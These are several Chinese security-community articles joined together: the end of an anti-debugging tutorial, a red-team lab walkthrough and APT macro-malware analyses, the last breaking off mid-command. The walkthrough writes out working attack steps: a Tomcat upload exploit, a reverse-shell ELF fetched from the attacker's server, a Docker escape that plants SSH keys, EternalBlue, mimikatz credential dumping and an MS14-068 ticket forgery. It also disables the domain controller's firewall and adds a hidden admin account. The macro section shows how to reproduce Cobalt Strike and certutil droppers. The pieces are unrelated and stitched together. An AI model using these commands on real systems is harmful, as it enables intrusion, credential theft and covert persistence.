PEXCEPTION_POINTERS ExceptionInfo
);
The _EXCEPTION_POINTERS structure looks like this:
typedef struct _EXCEPTION_POINTERS {
PEXCEPTION_RECORD ExceptionRecord;
PCONTEXT ContextRecord;
} EXCEPTION_POINTERS, *PEXCEPTION_POINTERS;
在处理程序中接收控制权之后，系统收集当前进程上下文并通过ContextRecord参数传递。下面是使用向量异常处理的反调试保护代码示例：
LONG CALLBACK ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
PCONTEXT ctx = ExceptionInfo->ContextRecord;
if (ctx->Dr0 != 0 || ctx->Dr1 != 0 || ctx->Dr2 != 0 || ctx->Dr3 != 0)
{
std::cout << "Stop debugging program!" << std::endl;
exit(-1);
}
ctx->Eip += 2;
return EXCEPTION_CONTINUE_EXECUTION;
}
int main()
{
AddVectoredExceptionHandler(0, ExceptionHandler);
__asm int 1h;
return 0;
}
在这里，我们设置了一个VEH处理程序，并生成了一个中断(不需要int1h)。当产生中断时，将出现异常并将控制权转移到VEH处理程序。如果设置了硬件断点，则程序执行将停止。如果没有硬件断点，则EIP寄存器的值将增加2，以便在INT1h生成指令之后继续执行。
# 如何绕过硬件断点检查和VEH
让我们看看导致VEH处理程序的调用堆栈：
0:000> kn
# ChildEBP RetAddr
00 001cf21c 774d6822 AntiDebug!ExceptionHandler
01 001cf26c 7753d151 ntdll!RtlpCallVectoredHandlers+0xba
02 001cf304 775107ff ntdll!RtlDispatchException+0x72
03 001cf304 00bf4a69 ntdll!KiUserExceptionDispatcher+0xf
04 001cfc1c 00c2680e AntiDebug!main+0x59
05 001cfc30 00c2665a AntiDebug!invoke_main+0x1e
06 001cfc88 00c264ed AntiDebug!__scrt_common_main_seh+0x15a
07 001cfc90 00c26828 AntiDebug!__scrt_common_main+0xd
08 001cfc98 753e7c04 AntiDebug!mainCRTStartup+0x8
09 001cfcac 7752ad1f KERNEL32!BaseThreadInitThunk+0x24
0a 001cfcf4 7752acea ntdll!__RtlUserThreadStart+0x2f
0b 001cfd04 00000000 ntdll!_RtlUserThreadStart+0x1b
控制权已从main+0x59转移到ntdll!KiUserExceptionDispatcher。接下来看一下main+0x59中负责该操作的具体指令：
0:000> u main+59 L1
AntiDebug!main+0x59
00bf4a69 cd02 int 1
KiUserExceptionDispatcher函数是系统从内核模式调用到用户模式的回调方法之一。以下是它的签名：
VOID NTAPI KiUserExceptionDispatcher(
PEXCEPTION_RECORD pExcptRec,
PCONTEXT ContextFrame
);
下一个代码示例演示如何通过KiUserExceptionDispatcher函数钩子来绕过硬件断点检查：
typedef VOID (NTAPI *pfnKiUserExceptionDispatcher)(
PEXCEPTION_RECORD pExcptRec,
PCONTEXT ContextFrame
);
pfnKiUserExceptionDispatcher g_origKiUserExceptionDispatcher = NULL;
VOID NTAPI HandleKiUserExceptionDispatcher(PEXCEPTION_RECORD pExcptRec, PCONTEXT ContextFrame)
{
if (ContextFrame && (CONTEXT_DEBUG_REGISTERS & ContextFrame->ContextFlags))
{
ContextFrame->Dr0 = 0;
ContextFrame->Dr1 = 0;
ContextFrame->Dr2 = 0;
ContextFrame->Dr3 = 0;
ContextFrame->Dr6 = 0;
ContextFrame->Dr7 = 0;
ContextFrame->ContextFlags &= ~CONTEXT_DEBUG_REGISTERS;
}
}
__declspec(naked) VOID NTAPI HookKiUserExceptionDispatcher()
// Params: PEXCEPTION_RECORD pExcptRec, PCONTEXT ContextFrame
{
__asm
{
mov eax, [esp + 4]
mov ecx, [esp]
push eax
push ecx
call HandleKiUserExceptionDispatcher
jmp g_origKiUserExceptionDispatcher
}
}
int main()
{
HMODULE hNtDll = LoadLibrary(TEXT("ntdll.dll"));
g_origKiUserExceptionDispatcher = (pfnKiUserExceptionDispatcher)GetProcAddress(hNtDll, "KiUserExceptionDispatcher");
Mhook_SetHook((PVOID*)&g_origKiUserExceptionDispatcher, HookKiUserExceptionDispatcher);
return 0;
}
在本例中，DRx寄存器的值在`HookKiUserExceptionDispatcher`函数中重置，
# NtSetInformationThread-从调试器中隐藏线程
在Windows2000中，出现了传递到NtSetInformationThread函数的新线程信息类-`ThreadHideFromDebugger`。它是Windows提供的第一个反调试技术之一，功能非常强大。如果为某个线程设置了此标志，则该线程将停止发送有关调试事件的通知。这些事件包括断点和有关程序完成的通知。该标志的值存储于`_ETHREAD`结构的`HideFromDebugger`字段中。
1: kd> dt _ETHREAD HideFromDebugger 86bfada8
ntdll!_ETHREAD
+0x248 HideFromDebugger : 0y1
下面是如何从调试器设置ThreadHideFromDebugger的示例：
typedef NTSTATUS (NTAPI *pfnNtSetInformationThread)(
_In_ HANDLE ThreadHandle,
_In_ ULONG ThreadInformationClass,
_In_ PVOID ThreadInformation,
_In_ ULONG ThreadInformationLength
);
const ULONG ThreadHideFromDebugger = 0x11;
void HideFromDebugger()
{
HMODULE hNtDll = LoadLibrary(TEXT("ntdll.dll"));
pfnNtSetInformationThread NtSetInformationThread = (pfnNtSetInformationThread)
GetProcAddress(hNtDll, "NtSetInformationThread");
NTSTATUS status = NtSetInformationThread(GetCurrentThread(),
ThreadHideFromDebugger, NULL, 0);
}
# 如何绕过从调试器隐藏线程
为了防止应用程序对调试器隐藏线程，需要钩住NtSetInformationThread函数调用。
pfnNtSetInformationThread g_origNtSetInformationThread = NULL;
NTSTATUS NTAPI HookNtSetInformationThread(
_In_ HANDLE ThreadHandle,
_In_ ULONG ThreadInformationClass,
_In_ PVOID ThreadInformation,
_In_ ULONG ThreadInformationLength
)
{
if (ThreadInformationClass == ThreadHideFromDebugger &&
ThreadInformation == 0 && ThreadInformationLength == 0)
{
return STATUS_SUCCESS;
}
return g_origNtSetInformationThread(ThreadHandle,
ThreadInformationClass, ThreadInformation, ThreadInformationLength
}
void SetHook()
{
HMODULE hNtDll = LoadLibrary(TEXT("ntdll.dll"));
if (NULL != hNtDll)
{
g_origNtSetInformationThread = (pfnNtSetInformationThread)GetProcAddress(hNtDll, "NtSetInformationThread");
if (NULL != g_origNtSetInformationThread)
{
Mhook_SetHook((PVOID*)&g_origNtSetInformationThread, HookNtSetInformationThread);
}
}
}
在钩子函数中，当正确调用时，会返回STATUS_SUCCESS，而不会将控制权转移到原始的NtSetInformationThread函数。
# NtCreateThreadEx
Windows Vista引入了NtCreateThreadEx函数，其签名如下：
NTSTATUS NTAPI NtCreateThreadEx (
_Out_ PHANDLE ThreadHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ HANDLE ProcessHandle,
_In_ PVOID StartRoutine,
_In_opt_ PVOID Argument,
_In_ ULONG CreateFlags,
_In_opt_ ULONG_PTR ZeroBits,
_In_opt_ SIZE_T StackSize,
_In_opt_ SIZE_T MaximumStackSize,
_In_opt_ PVOID AttributeList
);
最有趣的参数是CreateFlgs。此参数获取如下标志：
#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED 0x00000001
#define THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH 0x00000002
#define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER 0x00000004
#define THREAD_CREATE_FLAGS_HAS_SECURITY_DESCRIPTOR 0x00000010
#define THREAD_CREATE_FLAGS_ACCESS_CHECK_IN_TARGET 0x00000020
#define THREAD_CREATE_FLAGS_INITIAL_THREAD 0x00000080
如果新线程获得THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER标志，则在创建时将对调试器隐藏该线程。这与NtSetInformationThread函数设置的ThreadHideFromDebugger相同。负责安全任务的代码可以在设置了THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER标志的线程中执行。
# 如何绕过NtCreateThreadEx
可以通过钩住NtCreateThreadEx函数绕过此技术，在NtCreateThreadEx函数中，其中`THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER`将被重置。
# 句柄跟踪
从WindowsXP开始，Windows系统已经有了跟踪内核对象句柄的机制。当跟踪模式处于启用状态时，所有具有处理程序的操作都将保存到循环缓冲区中，同时，当尝试使用不存在的处理程序(例如，使用CloseHandle函数关闭该处理程序)时，将生成EXCEPTION_INVALID_HANDLE异常。如果进程不是从调试器启动的，CloseHandle函数会返回FALSE。以下示例基于CloseHandle的反调试保护：
EXCEPTION_DISPOSITION ExceptionRoutine(
PEXCEPTION_RECORD ExceptionRecord,
PVOID EstablisherFrame,
PCONTEXT ContextRecord,
PVOID DispatcherContext)
{
if (EXCEPTION_INVALID_HANDLE == ExceptionRecord->ExceptionCode)
{
std::cout << "Stop debugging program!" << std::endl;
exit(-1);
}
return ExceptionContinueExecution;
}
int main()
{
__asm
{
// set SEH handler
push ExceptionRoutine
push dword ptr fs : [0]
mov dword ptr fs : [0], esp
}
CloseHandle((HANDLE)0xBAAD);
__asm
{
// return original SEH handler
mov eax, [esp]
mov dword ptr fs : [0], eax
add esp, 8
}
return 0
}
# 堆栈段操作
在操作ss堆栈段寄存器时，调试器跳过指令跟踪。在下一个示例中，调试器将立即移到 xor edx, edx 指令，同时执行上一个指令：
__asm
{
push ss
pop ss
mov eax, 0xC000C1EE // This line will be traced over by debugger
xor edx, edx // Debugger will step to this line
}
# 调试信息
自Windows10以来，OutputDebugString函数的实现已更改为带有特定参数的简单RaiseException调用。因此，调试输出异常现在必须由调试器处理。
有两种异常类型：`DBG_PRINTEXCEPTION_C(0x40010006)`和`DBG_PRINTEXCEPTION_W(0x4001000A)`，可用于检测调试器是否存在
#define DBG_PRINTEXCEPTION_WIDE_C 0x4001000A
WCHAR * outputString = L"Any text";
ULONG_PTR args[4] = {0};
args[0] = (ULONG_PTR)wcslen(outputString) + 1;
args[1] = (ULONG_PTR)outputString;
__try
{
RaiseException(DBG_PRINTEXCEPTION_WIDE_C, 0, 4, args);
printf("Debugger detected");
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
printf("Debugger NOT detected");
}
因此，如果异常未处理，则意味着没有附加调试器。
`DBG_PRINTEXCEPTION_W`用于宽字符输出，`DBG_PRINTEXCEPTION_C`用于ansi字符。这表示在使用`DBG_PRINTEXCEPTION_C`的情况下，arg[0]会保存strlen()的结果，而args[1]指向ansi字符串`（char
*）`。
# 总结
本文从最简单处入手，描述了一系列反向工程技术，特别是反调试方法，并描述了绕过它们的方法。但技术总是层出不穷，还有很多技术本文并没有提及，比如：
1.自调试过程；
2.使用FindWindow函数进行调试器检测；
3.[时间计算方法](https://www.apriorit.com/dev-blog/298-anti-debug-time-plugin
"时间计算方法")；
4.NtQueryObject；
5.BlockInput；
6.NtSetDebugFilterState；
7.自修改代码；
虽然我们关注的是反调试保护方法，但也有其他反逆向工程方法，包括反转储和混淆技术。
我们要再次强调，即使是最好的反逆向工程技术也不能完全保护软件不被逆向破解。反逆向工程技术主要目的是加大逆向工程的难度。
# References
<https://msdn.microsoft.com/library>
<http://www.infosecinstitute.com/>
<http://pferrie.tripod.com/>
<http://www.openrce.org/articles/>
<http://www.nynaeve.net/>
<http://stackoverflow.com/>
<http://x86.renejeschke.de/> | 社区文章 |
# 环境搭建
靶场：
ubuntu
内网ip：192.168.183.10
外网ip：192.168.1.6
域内主机：
win7：192.168.183.129
win2008：192.168.183.130
需手动开启ubuntu的docker环境，对应的端口服务如下
> 2001 struts2
>
> 2002 tomcat8
>
> 2003 phpmyadmin 4.8.1
# 外网打点
## 端口扫描
首先对ubuntu进行端口扫描，发现2001、2002、2003三个特征端口
nmap -T4 -sC -sV 192.168.1.6
## Struts2
首先访问2001端口，是一个struts2的框架
这里直接使用漏扫工具检测struts2有无漏洞，这里发现存在S2-045、S2-046两个漏洞
首先使用S2-045看能不能命令执行，这里发现返回的是html
再换一个S2-046漏洞发现能够命令回显
这里直接尝试上传一个jsp上去试试，返回了路径
这里访问一下，返回了404，这里我尝试了其他几个路径都是返回404，但是S2-046这个漏洞应该是能拿到shell的，这里这个端口就没继续进行尝试了
## Tomcat8
看一下2002端口是一个apache tomcat8
这里直接去kali上搜索对应版本的漏洞并把漏洞检测的poc复制出来
searchsploit tomcat 8.5.19
searchsploit -m /exploit/jsp/webapps/42966.py
使用poc检测是否存在漏洞，这里发现是存在CVE-2017-12617这个漏洞的，这里的poc原理应该是上传了一个Poc.jsp来判断是否存在漏洞
python 42966.py -u http://192.168.1.6:2002/
我们访问一下Poc.jsp，是存在的
那么存在漏洞，直接使用`-p`参数进行攻击，这里拿到了一个反弹回来的shell，这里因为是交互型shell，不太方便下一步的操作，这里尝试着上线msf
python 42966.py -u http://192.168.1.6:2002/ -p pwn
因为是linux，所以需要生成linux的木马，在kali本地起一个http服务方便靶机下载
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf > shell.elf
python -m SimpleHTTPServer #py2环境
下载shell.elf并赋权执行
wget http://192.168.1.10:8000/shell.elf
chmod 777 shell.elf
./shell.elf
使用msf接收会话，上线成功
set payload linux/x86/meterpreter/reverse_tcppayload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.1.10
set lport 4444
run
## phpmyadmin4.8.1
访问2003端口是一个直接暴露的phpmyadmin
这里对应版本的漏洞是CVE-2018-12613，是一个文件包含的漏洞，这里看一下漏洞的分析
首先在如下图所示的index.php中存在一处包含指定文件的代码：
需要成功包含，必须满足if区间中的五个条件：target参数值不为空；target参数值为字符串；target参数值不以index开头；target参数值不在黑名单中；过checkPageValidity函数的检查。其中第四个条件的黑名单即51行中import.php与export.php；第五个条件需要查看该函数：
可以看到core类的checkPageValidity函数中又必须经过以下的五个判断：
1、$whitelist为空就引用申明的$goto_whitelist
2、$page如果没有定义或者$page不为字符串就返回false
3、$page如果存在在$whitelist中返回true
4、如果$_page存在在$whitelist中返回true
5、经过urldecode函数解码后的$_page存在在$whitelist中返回true
我们可以看到在index.php调用checkPageValidity函数时没有传入其他参数，因此会进入第一个判断，而$goto_whitelist如下所示：
它定义了很多可以被包含的文件名。然后第二个判断可以跳过；看第三个判断，可以看到$page参数是不在$whitelist中的，此处不满足；看第四个判断，这个判断是对$_page进行的，校验$_page是否在白名单中，而$_page是将$page值末尾加上’?’后从字符串第0位开始分割，取其中第一次出现?之前的内容，如下图所示：target=sql.ph%3fp时：
因此此处可以用'$target=db_sql.php?/../../被包含文件'来满足条件，但是$target进入到index.php的include()中，被包含的文件无法打开，出现报错。（windows文件命名规则中规定了文件名不能出现特殊字符，linux为服务器的情况下，是可以使用？直接进行绕过)
第五个判断，先将$page进行urldecode解码，然后再进行？的分割，取值进行判断，只要解码后分割出来的值在$whitelist中即可满足条件。而在$target
里问号被二次编码为%253f，
db_sql.php%253f也会被认为是一个目录，可以用../跨越，成功实现包含。因此命名规范里面没有将%放进去也是该漏洞能在windows下成功利用的一个关键点。
这样我们可以将？进行二次编码。如果传入target=db_sql.php%253f。在第四个判断中进行白名单校验时，为db_sql.php%3f，不满足，第五个判断的urldecode后，进行校验时为db_sql.php,符合条件，然后即可成功包含文件。
这里就可以构造一个payload输出密码
index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
这里首先写入一个phpinfo，然后查看`phpMyAdmin`的value
得到phpMyAdmin："990aadb371d8e582cb000c716aed9720"，然后构造payload进行文件包含输出phpinfo
?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_990aadb371d8e582cb000c716aed9720
写入一句话木马查看phpMyAdmin的值然后构造payload进行文件包含用蚁剑连接即可
phpMyAdmin:"990aadb371d8e582cb000c716aed9720"
?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_990aadb371d8e582cb000c716aed9720
# 内网渗透
## docker逃逸
这里理论上三种方法都能够拿到shell，这里我使用tomcat上线到msf的shell进行信息搜集
可以看到有eth0、eth1分别处于1.0/24和183.0/24两个网段，初步判断是有域环境的。
继续往下看，还有几个ip，但是不是eth，而且这里有三个ip，根据上面有三个不同的环境，那么可以判断应该是用的docker。那么我们无论使用3个环境的哪个环境拿shell都只是一个docker容器里面的shell，并不是真正ubuntu的shell，所以这里我们还需要进行docker逃逸到ubuntu
这里我尝试脏牛失败，这里就需要使用到privileged特权模式逃逸
### privileged特权模式逃逸
docker中提供了一个`--privileged`参数，这个参数本身最初的目的是为了提供在docker中运行docker的能力
<https://www.docker.com/blog/docker-can-now-run-within-docker/>
docker文档中对这个参数的解释如下
<https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities>
> 当操作员执行时docker run
> –privileged，Docker将启用对主机上所有设备的访问，并在AppArmor或SELinux中进行一些配置，以允许容器对主机的访问几乎与在主机上容器外部运行的进程相同。
当控制使用特权模式启动的容器时，docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部，获取对整个宿主机的文件读写权限，此外还可以通过写入计划任务等方式在宿主机执行命令。那么这里就可以尝试使用特权模式写入ssh私钥，使用ssh免密登录
这里首先新建一个tmptest文件夹，用来存放挂载后的docker
查看一下dev文件夹里面的设备文件
可以看到有四个sda设备文件，我这里选择sda1进行挂载
使用mount命令将sda1挂载到tmptest文件夹里并用ls指令进行查看
mount /dev/sda1 /tmptest
ls /tmptest
然后使用ssh生成一个名叫tmp的私钥，然后用chmod命令赋予权限
ssh-keygen -f tmp
chomd 600 tmp
cat tmp.pub
因为我们之前已经把sda1挂载成功了，那么我们如果要访问ubuntu的/home目录，我们直接访问挂载到的tmptest文件夹的/home文件夹即可，即/tmptest/home路径
使用ls -alh查看当前目录下包括隐藏文件在内的所有文件
ls -alh /tmptest/home/ubuntu
这里我们看到了一个.ssh文件，我们要将ssh私钥写入到.ssh目录里面并将文件命名为authorized_keys（目标机.ssh目录权限必须为700）
使用如下命令写入ssh私钥
cp -avx /tmptest/home/ubuntu/.ssh/id_rsa.pub /tmptest/home/ubuntu/.ssh/authorized_keys
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5yY2m0Ji9Sy+zc1/84P9EI+CQqhi6xwyni/k8cnGSjJf333Bncr0pEHDGU+jtaBzMzgX/b+kDAfvfvXNvI15+1SOmpLmM08H4twac2lGLt3fRbKPK6W8a3eNdaP6LVHZ6OXUmSWMBZPUzHHnfpaOIVAqOsFpIsPyn9NEu0Y8PxnVWJd42aI5fRwwL/OUIiQnQynmBnnxfeG54HpVPvVPeF9YfSJblQCkr3DiN9HiI/i6wIK7nZH33O3wEV7PxWjQ/qOhuhL1HFwLXh3FqWW/uqcE/C6UT4KSYcaoKkEe2iFrdjZ53LUsBXpEzxy4Om27SIl2Od/S2o6PW6wmfbe6GlDFITNf+9ZOVCGz5Zt4qewTP0W8kW4oC2eBz2OaaJoE25q1f0OL/28O2n5CSqxCgLx0rZBLsTHSadYD32iOCtY7r5fQdXkJU4C0tzGYJbs3SNJG3yqJ3yG5cMmnKTz8sblW+B3JdDaWUw8artLteb5Bw2b8yVvRRtgZcBWQPLe0= root@kali' > /tmptest/home/ubuntu/.ssh/authorized_keys
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDrmhVWnGEgZWNmpbVC+BMdRKVDjbc78QaCWYMJFxNWSYVayOZEUjYQin4VXwbetNoBGrdT7G1rnK8HNs5iK4u2HClZVhq3uOsWc/QAx0ETT1viv3+rA7JmPWbBNLzYRlEG9OWzvhzxh0cRmQsrX7ngbmcCvaIgQDcFa5NtddEZ4vD5SvumHyABvSL+DygN3ig592aoI2Z65wkYmqV7cBlNuZpZe+L6C7L0LZEXy4dleoaCH4Ks+PcUJ/S4z2ruIpKHktFpdc37DXbXusLxWV9fyD7anFXz5wQ552JT0L7SzD7HQ04OR7DR9dRQ7A1lXDbWrZ7CL1pvTH+L7uhwV7X8qs93pkApiaKDXT4M+uAKLLlwL3cMEL8NM4oWV/PBBm1CfpMNhbj4k3r4c19kec5rlAXCbS/lQKRMtS+mmCvY4QP5MUk6L/adRcC693/m6aqNQVlAk4SJr2yCHP0LwWKV8tH0teBhFVk7lR0A7lz2p+GLdjWYBvsI+8lBs5XBoJ8= root@kali
' > /tmptest/home/ubuntu/.ssh/authorized_keys
然后再使用ssh连接ubuntu即可，到此我们才真正意义上拿到了ubuntu的webshell
ssh -i tmptest [email protected]
### 上线宿主机到msf
这里还是按照之前的方法生成一个elf文件在ubuntu上执行
wget http://192.168.1.10:8000/test.elf
chmod 777 test.elf
./test.elf
msf设置监听模块接受会话，成功上线
## 存活探测
添加183.0/24的路由并设置socks代理把msf带入内网，注意要配置proxychains.conf文件
route add 192.168.183.0 255.255.255.0 3
route print
use auxiliary/server/socks_proxy
set version 4a
run
可以使用proxychains配合nmap对整个内网网段进行扫描，但是这里它会一个一个ip+端口的方式去扫描，速度比较慢
proxychains4 nmap -sT -Pn 192.168.183.1/24
我这里使用个速度稍微快点的，使用的是kali里面的`udp_probe`模块
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.183.1-255
set threads 20
run
这里可以看到内网中还有两台主机存活，一个是192.168.183.129，一个192.168.183.130，这里注意到130开了一个53端口，这里初步判断130为域控
## 永恒之蓝尝试
这里直接上手永恒之蓝先打一波，这里实战的话最好先扫描，因为直接打的话可能会打蓝屏，这里是靶场的原因我就直接上手打了。之前提到过130开了53端口初步判断为域控，所以这里先从129这台主机入手
use exploit/windows/ smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.183.129
run
这里看到永恒之蓝直接打成功了返回了一个SYSTEM权限的meterpreter，这里先进行一个进程迁移，从x86迁移到x64的进程里面
我这里迁移到472这个system进程里面
然后开启一个windows环境下的cmd进行信息搜集
chcp 65001
net user
net view /domain
可以看到这里是在DEMO这个域环境里面
ping一下130，能够ping通
## 获取密码
这里获取密码有两种方法，先使用常规方法mimikatz抓取
使用copy命令上传一个mimikatz，这里`tasklist /svc`查看进程是没有杀软的那么直接上mimikatz了
这里出现了一个问题提示我的权限不够不能够获取调试权限
那么这里exit回到meterpreter里面使用令牌窃取SYSTEM权限之后进行mimikatz密码进行抓取
use incognito
inpersonate_token "NT AUTHORITY\SYSTEM"
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
这里得到域成员`douser/Dotest123`
这里还有一个获取密码的方式就是获取ubuntu执行命令的历史记录，我们知道ubuntu有两个网段，跟129这台主机是在一个域内的，那么可以看一下是否有连接过129这台主机的命令曾经执行过，这里就类似于windows里面的udp凭证被保存了下来
## 域控横向移动
这里拿到了域成员的帐号和密码，这里我们直接使用一个ptt伪造票据来拿到域控权限，利用mimikatz注入票据
ms14-068.exe -u [email protected] -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc [email protected] //将票据注入
这里使用`klist`查看下票据已经注入进去了
这里直接使用ipc连接域控，注意这里需要用主机名而不能用ip
net use \\WIN-ENS2VR5TR3N
这里生成一个正向连接的msf马
msfvenom -p windows/meterpreter/bind_tcp lhost=192.168.1.10 lport=4444 -f exe -o bind.exe
使用copy命令复制到DC上后使用sc创建计划任务
schtasks /create /tn "test" /tr C:\Users\Desktop\bind.exe /sc MINUTE /S 192.168.183.130
使用sc关闭防火墙
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall
创建服务执行msf马并用msf接受会话
sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"
sc \\WIN-ENS2VR5TR3N start bindshell
use exploit/multi/handler
set payload/meterpreter/bind_tcp
set lhost 192.168.1.10
set lport 4444
run
成功接收到DC会话使用`getsystem`提权到system
上传mimikatz抓取DC密码，得到`DEMO qwe123!@#`
打开DC的远程桌面
run post/windows/manage/enable_rdp
使用socks代理进入内网打开远程桌面
proxychains4 rdesktop 192.168.183.130
# 权限维持
这里拿到域管用户之后可以使用金票进行权限维持，这里我就简单的添加一个隐藏用户进行权限维持
net user admin$ qaz123!@# /add #添加用户admin$
net localgroup administrators admin$ /add #将admin$用户添加到管理员组administrators
这里再使用`net user`是看不到这个隐藏用户的 | 社区文章 |
## 0x01 APT28组织某样本分析
### 分析
基本信息：
> MD5：9B10685B774A783EABFECDB6119A8AA3
文档内容如图：
宏代码已进行加密处理，可通过[remove_vba_project_password](https://gist.github.com/ndthanh/65483efab3939ab3c78f0773af40333f)清除密码：
首先通过`ActiveDocument.WordOpenXML`获取所有.xml文件内容赋值给xml变量，使用`SelectNodes`函数定位标签获取所需字符串，返回匹配节点集合。`selected(1)`为该集合第二个子集，之后提取文本并解密：
将解密后的字符串写入文件并修改为隐藏属性：
该PE文件位于`%APPDATA%`目录：
调用WMI，由`rundll32.exe`运行保存的文件:
* * *
下面分析PE文件功能。
首先获取环境变量`%APPDATA%`，拼接得到`"C:\\Users\\用户名\\AppData\\Roaming\\mrset.bat"`，设置注册表键值`UserInitMprLogonScript`为此路径以实现持久化：
对内存中的数据进行解密，得到另一PE文件：
拼接路径：
将解密的PE文件内容写入`"C:\\Users\\用户名\\AppData\\Roaming\\mvtband.dat"`中：
对内存中数据进行解密，结果如下：
以同样的方式拼接得到`"C:\\Users\\用户名\\AppData\\Roaming\\mrset.bat"`，创建该文件并设置文件隐藏属性，之后将解密后内容写入：
执行`mrset.bat`文件，其功能为通过`rundll32.exe`调用`mvtband.dat`导出表中#1函数：
### 复现
通过Cobalt
Strike生成一恶意DLL文件，之后执行BASE64加密，将加密后内容写入`app.xml`文件中，以特定标签将其包裹更新至原有WORD文档：
获取内容，通过`rundll32.exe`调用该DLL导出函数完成上线：
演示效果如下：
## 0x02 海莲花组织某样本分析
基本信息：
> MD5：3fd2a37c3b8d9eb587c71ceb8e3bb085
文档内容如下：
禁止显示提示和警报信息，复制文档至`%TEMP%`路径下：
将文档的倒数第五段文本解密，其内容为VBA代码：
获取`AccessVBOM`键值并保存，之后修改该值以信任对Visual Basic的访问：
打开复制后文档，移除其原本VBA代码，将解密后VBA代码加入模块，保存关闭文档：
打开修改后的文档，运行VBA代码中的`x_N0th1ngH3r3`函数。最后将修改的注册表键值还原，执行结束后弹出错误提示框以迷惑用户：
第二阶段VBA代码与第一阶段功能相似——解密文档倒数第三段文本后返回第三阶段VBA代码，删除文档中原本存在的VBA代码，将解密后代码写入并运行第三阶段的`x_N0th1ngH3r3`函数：
第三阶段VBA代码主要通过`CreateRemoteThread`函数运行加载到内存中的Shellcode。其针对64位与32位操作系统会执行不同操作。通过`CreateProcessW`函数执行rundll32.exe以实现隐藏Shellcode进程：
分配内存并将文档倒数第二段文本内容(即Shellcode)写入内存，之后通过`CreateRemoteThread`执行内存中Shellcode：
## 0x03 APT34组织某样本分析
基本信息
> MD5:6615c410b8d7411ed14946635947325e
文档内容如图所示：
该样本会收集用户主机信息，在代码执行的不同阶段通过DNS隧道回传信息以得知感染进度：
当用户打开文档，会执行`Document_Open`函数。该函数功能为判断是否有鼠标连接，是则获取有写入权限的文件夹路径，创建`b.doc`文档并将解密后文本内容写入。函数运行后于`C:\Users\Public\Documents\SystemFailureReporter`路径下生成文档：
当用户关闭文档，会执行`Document_Close`函数。判断有鼠标连接后，重命名`b.doc`为`SystemFailureReporter.exe`：
创建计划任务：
创建触发器，一分钟后启动，且每隔五分钟运行一次：
## 0x04 ATP28组织某样本分析
### 分析
基本信息：
> MD5: AABA2CC71C494BFC321CE752EE503C30
文档内容如下：
首先对操作系统进行判断以执行不同函数：
提取指定单元格中的文本：
以`"-----BEGIN CERTIFICATE-----"`和`"-----END
CERTIFICATE-----"`包裹文本，创建一个随机命名的txt文件将文本写入。调用`certutil
-decode`将文档解密并写入`C:\Users\用户名\AppData\Roaming\Microsoft\AddIns\随机名称.exe`中。最终由`Shell`执行该PE文件——伪装成PuTTY的恶意软件：
### 复现
将文本BASE64加密后放入单元格中并设置隐藏。
编写宏代码，提取特定单元格中的文本并以`"-----BEGIN CERTIFICATE-----"`和`"-----END
CERTIFICATE-----"`包裹，将其写入一TXT文件中。通过`certutil -decode`解密生成exe文件，最终调用执行：
演示效果如下：
## 0x05 FIN7组织某样本分析
### 分析
基本信息：
> MD5: DCFA396E3F500D67AFA7157ADB639819
文档内容如下：
宏代码被加密，EXCEL宏代码解密方式可参考[如何破解解除Excel
VBA工程密码](https://www.office26.com/excelhanshu/excel_function_6373.html)。
关键字符串放入窗体`Userform1`中，使用时通过`Userform1.value.caption`语句提取相应字符：
于临时目录下创建一文档，将`zmivsija`中的字符串写入并保存。复制cscript.exe至`C:\Users\用户名\Contacts\`目录，重命名为`defupdate70.exe`：
通过`cscript.exe`执行命令，指定JScript引擎运行文档中的指令并设置窗口隐藏：
### 复现
将字符串放入窗体中并命名以方便调用：
创建文档，写入调用计算器的Jscript语句。通过`cscript.exe`执行文档中命令：
演示效果如下：
## 0x06 Dreambot某样本分析
基本信息：
> MD5: 912a487711217f214746a3e677e2bf32
文档内容如下：
该样本宏代码中每个模块都加入了大量混淆，其中`gzPB()`、`fvWLdoZ()`、`jqMB()`等函数均用于对传入的参数进行解密：
进入模块依次跟进，最终可以得到一个函数调用链。直至进入`jJPulneBpTF`函数之前，所有函数功能均为调用下一个函数：
`OWlEmUVvwQl` —> `hMkbDVHtbVDDttEFUWEw` —> `dTkPsYjiXXQJXW` —>
`DqfHVjrOSVaMrAFy` —> `MsgsyIxLElHPXcNOFMo`—> `UoOLrJw` —> `JFJdZo` —>
`VtrbNDgItpnfKpgAqPml` —> `ybCDhfHLopdFPWTjmLZoUbw` —> `FzjyS` —> `RVThCUH` —>
`IFSeOhWOWEpX` —> `azriOHXmFqMfPRlfDlP` —> `LSxrp` —>
`CADXqENsQRQthfrBXvpswgqkC` —> `lDqTvcg` —> `MOvSslUFTPZuhCliOUXc` —>
`oVBCPDmxRv`—> `BnqSmevUUSPyaWQ` —> `jJPulneBpTF`
`jJPulneBpTF`函数主要语句如下：
最终将执行`lpZlNxkkO.Document.Application.ShellExecute powershell.exe -enco
